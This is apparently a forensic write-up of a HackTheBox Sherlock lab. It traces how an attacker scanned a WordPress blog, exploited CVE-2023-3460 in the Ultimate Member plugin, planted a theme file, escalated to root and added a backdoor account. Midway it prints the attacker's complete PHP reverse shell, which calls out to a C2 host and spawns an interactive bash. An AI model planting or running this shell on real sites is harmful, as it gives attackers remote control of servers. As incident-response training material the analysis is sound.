HTB Sherlock Ultimatum
2024-05-27
Ultimatum (DFIR)
Scenario
One of the Forela WordPress servers was a target of notorious Threat Actors (TA). The website was running a blog dedicated to the Forela Social Club, where Forela employees can chat and discuss random topics. Unfortunately, it became a target of a threat group. The SOC team believes this was due to the blog running a vulnerable plugin. The IT admin already followed the acquisition playbook and triaged the server for the security team. Ultimately (no pun intended) it is your responsibility to investigate the incident. Step in and confirm the culprits behind the attack and restore this important service within the Forela environment.
Forensics
Artifacts
We are given an archive ultimatum.zip
with a sha256sum:101ae8258f9a2a821bdc78e4f2b61deb2337cffb95e58c4dfe8cd4e57ca75a66
.
Upon extracting the archive use Extract-Cat-Scale.sh we get the following artifacts:
-rwxrwxrwx 1 root root 1732 Aug 8 2023 ip-172-31-11-131-20230808-0937-console-error-log.txt
Docker:
total 0
Logs:
total 488
-rwxrwxrwx 1 root root 451801 Aug 8 2023 ip-172-31-11-131-20230808-0937-last-btmp.txt
-rwxrwxrwx 1 root root 329 Aug 8 2023 ip-172-31-11-131-20230808-0937-last-utmp.txt
-rwxrwxrwx 1 root root 606 Aug 8 2023 ip-172-31-11-131-20230808-0937-last-utmpdump.txt
-rwxrwxrwx 1 root root 732 Aug 8 2023 ip-172-31-11-131-20230808-0937-last-wtmp.txt
-rwxrwxrwx 1 root root 2397 Aug 8 2023 ip-172-31-11-131-20230808-0937-lastlog.txt
-rwxrwxrwx 1 root root 396 Aug 8 2023 ip-172-31-11-131-20230808-0937-passwd-check.txt
-rwxrwxrwx 1 root root 12 Aug 8 2023 ip-172-31-11-131-20230808-0937-var-crash-list.txt
-rwxrwxrwx 1 root root 115 Aug 8 2023 ip-172-31-11-131-20230808-0937-var-crash.tar.gz
-rwxrwxrwx 1 root root 2975 Aug 8 2023 ip-172-31-11-131-20230808-0937-var-log-list.txt
-rwxrwxrwx 1 root root 291 Aug 8 2023 ip-172-31-11-131-20230808-0937-who.txt
-rwxrwxrwx 1 root root 360 Aug 8 2023 ip-172-31-11-131-20230808-0937-whoandwhat.txt
drwxrwxrwx 12 root root 4096 May 27 10:10 varlogs
Misc:
total 74804
-rwxrwxrwx 1 root root 559 Aug 8 2023 ip-172-31-11-131-20230808-0937-Setuid-Setguid-tools.txt
-rwxrwxrwx 1 root root 62 Aug 8 2023 ip-172-31-11-131-20230808-0937-dev-dir-files-hashes.txt
-rwxrwxrwx 1 root root 92 Aug 8 2023 ip-172-31-11-131-20230808-0937-dev-dir-files.txt
-rwxrwxrwx 1 root root 384887 Aug 8 2023 ip-172-31-11-131-20230808-0937-exec-perm-files.txt
-rwxrwxrwx 1 root root 34211795 Aug 8 2023 ip-172-31-11-131-20230808-0937-full-timeline.csv
-rwxrwxrwx 1 root root 41585177 Aug 8 2023 ip-172-31-11-131-20230808-0937-pot-webshell-first-1000.txt
-rwxrwxrwx 1 root root 392840 Aug 8 2023 ip-172-31-11-131-20230808-0937-pot-webshell-hashes.txt
Persistence:
total 116
drwxrwxrwx 2 root root 4096 May 27 10:10 crontabs
-rwxrwxrwx 1 root root 120 Aug 8 2023 ip-172-31-11-131-20230808-0937-cron-folder-list.txt
-rwxrwxrwx 1 root root 147 Aug 8 2023 ip-172-31-11-131-20230808-0937-cron-tab-list.txt
-rwxrwxrwx 1 root root 45449 Aug 8 2023 ip-172-31-11-131-20230808-0937-persistence-systemdlist.txt
-rwxrwxrwx 1 root root 775 Aug 8 2023 ip-172-31-11-131-20230808-0937-service_status.txt
-rwxrwxrwx 1 root root 27513 Aug 8 2023 ip-172-31-11-131-20230808-0937-systemctl_all.txt
-rwxrwxrwx 1 root root 23761 Aug 8 2023 ip-172-31-11-131-20230808-0937-systemctl_service_status.txt
Podman:
total 0
Process_and_Network:
total 5008
drwxrwxrwx 3 root root 4096 May 27 10:10 cyberjunkie_admin
-rwxrwxrwx 1 root root 671 Aug 8 2023 ip-172-31-11-131-20230808-0937-ip-a.txt
-rwxrwxrwx 1 root root 439 Aug 8 2023 ip-172-31-11-131-20230808-0937-iptables-numerical.txt
-rwxrwxrwx 1 root root 275 Aug 8 2023 ip-172-31-11-131-20230808-0937-iptables.txt
-rwxrwxrwx 1 root root 0 Aug 8 2023 ip-172-31-11-131-20230808-0937-lsof-list-open-files.txt
-rwxrwxrwx 1 root root 5474 Aug 8 2023 ip-172-31-11-131-20230808-0937-process-cmdline.txt
-rwxrwxrwx 1 root root 148446 Aug 8 2023 ip-172-31-11-131-20230808-0937-process-details.txt
-rwxrwxrwx 1 root root 28377 Aug 8 2023 ip-172-31-11-131-20230808-0937-process-environment.txt
-rwxrwxrwx 1 root root 11080 Aug 8 2023 ip-172-31-11-131-20230808-0937-process-exe-links.txt
-rwxrwxrwx 1 root root 111180 Aug 8 2023 ip-172-31-11-131-20230808-0937-process-fd-links.txt
-rwxrwxrwx 1 root root 1241355 Aug 8 2023 ip-172-31-11-131-20230808-0937-process-map_files-link-hashes.txt
-rwxrwxrwx 1 root root 3463139 Aug 8 2023 ip-172-31-11-131-20230808-0937-process-map_files-links.txt
-rwxrwxrwx 1 root root 11524 Aug 8 2023 ip-172-31-11-131-20230808-0937-processes-axwwSo.txt
-rwxrwxrwx 1 root root 2991 Aug 8 2023 ip-172-31-11-131-20230808-0937-processhashes.txt
-rwxrwxrwx 1 root root 211 Aug 8 2023 ip-172-31-11-131-20230808-0937-routetable.txt
-rwxrwxrwx 1 root root 49785 Aug 8 2023 ip-172-31-11-131-20230808-0937-ss-anepo.txt
-rwxrwxrwx 1 root root 190 Aug 8 2023 ip-172-31-11-131-20230808-0937-ssh-folders-list.txt
drwxrwxrwx 3 root root 4096 May 27 10:10 root
drwxrwxrwx 3 root root 4096 May 27 10:10 ubuntu
System_Info:
total 340
drwxrwxrwx 30 root root 4096 May 27 10:10 etc-modified-files
-rwxrwxrwx 1 root root 1968 Aug 8 2023 ip-172-31-11-131-20230808-0937-cpuinfo.txt
-rwxrwxrwx 1 root root 76 Aug 8 2023 ip-172-31-11-131-20230808-0937-deb-package-verify.txt
-rwxrwxrwx 1 root root 104466 Aug 8 2023 ip-172-31-11-131-20230808-0937-deb-packages.txt
-rwxrwxrwx 1 root root 1126 Aug 8 2023 ip-172-31-11-131-20230808-0937-df.txt
-rwxrwxrwx 1 root root 54667 Aug 8 2023 ip-172-31-11-131-20230808-0937-dmesg.txt
-rwxrwxrwx 1 root root 0 Aug 8 2023 ip-172-31-11-131-20230808-0937-etc-key-files-list.txt
-rwxrwxrwx 1 root root 4990 Aug 8 2023 ip-172-31-11-131-20230808-0937-etc-modified-files-list.txt
-rwxrwxrwx 1 root root 38 Aug 8 2023 ip-172-31-11-131-20230808-0937-host-date-timezone.txt
-rwxrwxrwx 1 root root 1863 Aug 8 2023 ip-172-31-11-131-20230808-0937-lsmod.txt
-rwxrwxrwx 1 root root 0 Aug 8 2023 ip-172-31-11-131-20230808-0937-lsusb.txt
-rwxrwxrwx 1 root root 1391 Aug 8 2023 ip-172-31-11-131-20230808-0937-meminfo.txt
-rwxrwxrwx 1 root root 112329 Aug 8 2023 ip-172-31-11-131-20230808-0937-modinfo.txt
-rwxrwxrwx 1 root root 5151 Aug 8 2023 ip-172-31-11-131-20230808-0937-module-sha1.txt
-rwxrwxrwx 1 root root 4348 Aug 8 2023 ip-172-31-11-131-20230808-0937-mount.txt
-rwxrwxrwx 1 root root 2446 Aug 8 2023 ip-172-31-11-131-20230808-0937-procmod.txt
-rwxrwxrwx 1 root root 526 Aug 8 2023 ip-172-31-11-131-20230808-0937-release.txt
-rwxrwxrwx 1 root root 4570 Aug 8 2023 ip-172-31-11-131-20230808-0937-sudo.txt
User_Files:
total 8
drwxrwxrwx 5 root root 4096 May 27 10:10 hidden-user-home-dir
-rwxrwxrwx 1 root root 315 Aug 8 2023 hidden-user-home-dir-list.txt
Virsh:
total 0
Tools
- Visual Studio Code
- Sublime Text Editor
- LinuxCatScale to extract the archive.
Analysis
The web server was Apache v2.4.41-4ubuntu3.14
and it was running WordPress v6.2.2
on Ubuntu 20.04.6 LTS (Focal Fossa)
with a kernel version of 5.15.0-1036-aws
.
The server was triaged and we were provided artifacts following the acquisition playbook
. Because this was an attack on the webserver most of the analysis for Initial Foothold will revolve around analyzing the access.log
.
From the access log, we see a lot of HTTP requests coming in and out of the server from an IP 23.106.60.163
with the user agent WPScan v3.8.24 (https://wpscan.com/wordpress-security-scanner)
. The TA used this IP to scan Forella’s WordPress blog for vulnerabilities.
WPScanner
is an automated security auditing tool for WordPress. It scans the WordPress version and its plugins. themes and various other components to check for known vulnerabilities or weaknesses.
The log shows that the TA was successful in identifying a vulnerable plugin. It was Ultimate-Member - User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin, the version that was installed on Forella’s WordPress site was v2.6.4
.
According to Mitre - The Ultimate Member WordPress plugin before 2.6.7 does not prevent visitors from creating user accounts with arbitrary capabilities, effectively allowing attackers to create administrator accounts at will. This is actively being exploited in the wild. The CVE assigned was CVE-2023-3460
with a CVSS (v3.x) base score of 9.8 CRITICAL
. The exploit for this CVE was publicly available at the time of the attack.
After identifying the vulnerability, the TA used a PoC published on GitHub by a security research firm named Secragon. It was confirmed by analyzing the script’s User Agents which were python-requests/2.28.1
and Secragon Offensive Agen
.
Therefore, successfully creating an admin user named secragon
the TA switched his IP to 198.16.74.45
and manually browsed the admin dashboard. We can confirm this by their User Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
.
To get a foothold on the server the TA created a malicious theme, which served as a reverse shell to perform Remote Command Execution. They created the file here /var/www/html/wp-content/themes/twentytwentythree/patterns/hidden-comments.php
. The code for the reverse shell is below.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '43.204.24.76';
$port = 6969;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
From this code we can see the C2 server 43.204.24.76:6969
and the command uname -a; w; id; /bin/bash -i
the web shell executed on behalf of the TA. First, the web shell created a process with PID 234471
to execute the shell’s payload. Then for /bin/bash -i
command it created an interactive bash shell with the PID 234517
.
www-data 234517 234471 2616 596 ? S 09:01 00:00:00 sh -c uname -a; w; id; /bin/bash -i
www-data 234521 234517 4248 3444 ? S 09:01 00:00:00 /bin/bash -i
To elevate the shell’s privilege the attacker used a bash script LinEnum.sh
to enumerate potential privilege escalation vectors. The TA uploaded LinEnum.sh
to /tmp
and then /dev/shm
directory.
7,1,/dev/shm/LinEnum.sh,2023-08-08 09:33:05.917203555 +0000,2023-08-08 09:32:38.650234799 +0000,2023-08-08 09:32:46.345943752 +0000,-,www-data,www-data,-rwxrwxrwx,46631
And they were successful in gaining root access. From the auth.log
we see that the TA logged into SSH using ubuntu
user’s private SSH key using another IP 203.101.190.9
. Then escalate their privilege to root
using su.
Immediately after that, the threat actor created an account cyberjunkie_admin
for persistence.
Aug 7 13:50:25 ip-172-31-11-131 sshd[229515]: Accepted publickey for ubuntu from 203.101.190.9 port 42564 ssh2: RSA SHA256:c/25gw2HCe4yy/6f4eAd5O1dvdGebtUFKOEVAh7kmzk
Aug 7 13:50:25 ip-172-31-11-131 sshd[229515]: pam_unix(sshd:session): session opened for user ubuntu by (uid=0)
Aug 7 13:50:25 ip-172-31-11-131 systemd-logind[523]: New session 1971 of user ubuntu.
Aug 7 13:50:31 ip-172-31-11-131 sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/su
Aug 7 13:50:31 ip-172-31-11-131 sudo: pam_unix(sudo:session): session opened for user root by ubuntu(uid=0)
Aug 7 13:50:31 ip-172-31-11-131 su: (to root) ubuntu on pts/0
Aug 7 13:50:31 ip-172-31-11-131 su: pam_unix(su:session): session opened for user root by ubuntu(uid=0)
Aug 7 13:53:08 ip-172-31-11-131 sshd[126847]: Received SIGHUP; restarting.
Aug 7 13:53:08 ip-172-31-11-131 sshd[126847]: Server listening on 0.0.0.0 port 22.
Aug 7 13:53:08 ip-172-31-11-131 sshd[126847]: Server listening on :: port 22.
Aug 7 13:55:36 ip-172-31-11-131 groupadd[229659]: group added to /etc/group: name=cyberjunkie_admin, GID=1001
Aug 7 13:55:36 ip-172-31-11-131 groupadd[229659]: group added to /etc/gshadow: name=cyberjunkie_admin
Aug 7 13:55:36 ip-172-31-11-131 groupadd[229659]: new group: name=cyberjunkie_admin, GID=1001
Aug 7 13:55:36 ip-172-31-11-131 useradd[229665]: new user: name=cyberjunkie_admin, UID=1001, GID=1001, home=/home/cyberjunkie_admin, shell=/bin/bash, from=/dev/pts/0
Aug 7 13:55:58 ip-172-31-11-131 passwd[229677]: pam_unix(passwd:chauthtok): password changed for cyberjunkie_admin
Aug 7 13:56:18 ip-172-31-11-131 chfn[229679]: changed user 'cyberjunkie_admin' information
Aug 7 13:59:25 ip-172-31-11-131 su: (to cyberjunkie_admin) ubuntu on pts/0
Aug 7 13:59:25 ip-172-31-11-131 su: pam_unix(su:session): session opened for user cyberjunkie_admin by ubuntu(uid=0)
Closely examining the sudoers permission file we found a very risky configuration
that allowed the ubuntu
user to perform tasks as root
without authentication.
# Created by cloud-init v. 23.1.2-0ubuntu0~20.04.1 on Wed, 12 Jul 2023 11:41:45 +0000
# User rules for ubuntu
ubuntu ALL=(ALL) NOPASSWD:ALL
Timeline
Reconnaissance: On
2023-08-08 08:21:27
the TA started the scanner using IP23.106.60.163
.Weaponization & Delivery: On
2023-08-08 08:32:50
The TA identified the vulnerable WordPress pluginUltimate Member v2.6.4
.Exploitation: On
2023-08-08 08:33:58
the TA successfully exploited CVE-2023-3460 and added an Admin usersecragon
.Installation: On
2023-08-08 08:58:02
the TA created a reverse web shell/var/www/html/wp-content/themes/twentytwentythree/patterns/hidden-comments.php
. The TA did this from an IP198.16.74.45
. After that, on2023-08-08 09:06:53
the TA uploaded a Bash ScriptLinEnum.sh
inside the/tmp
folder then he moved it to the/dev/shm
on2023-08-08 09:32:38
.Command and Control: The TA used IP
43.204.24.76
and port6969
as a C2 server.
Remarks
Analyzing the log file indicates that the server was already compromised on 2023-08-07 13:50:25
by another threat actor who logged into the SSH account of ubuntu
user from IP 203.101.190.9
using SSH key and created a backdoor admin account cyberjunkie_admin
on 2023-08-07 13:55:36
. The account seems to be dormant but that TA (203.101.190.9
) also compromised the MySQL Database.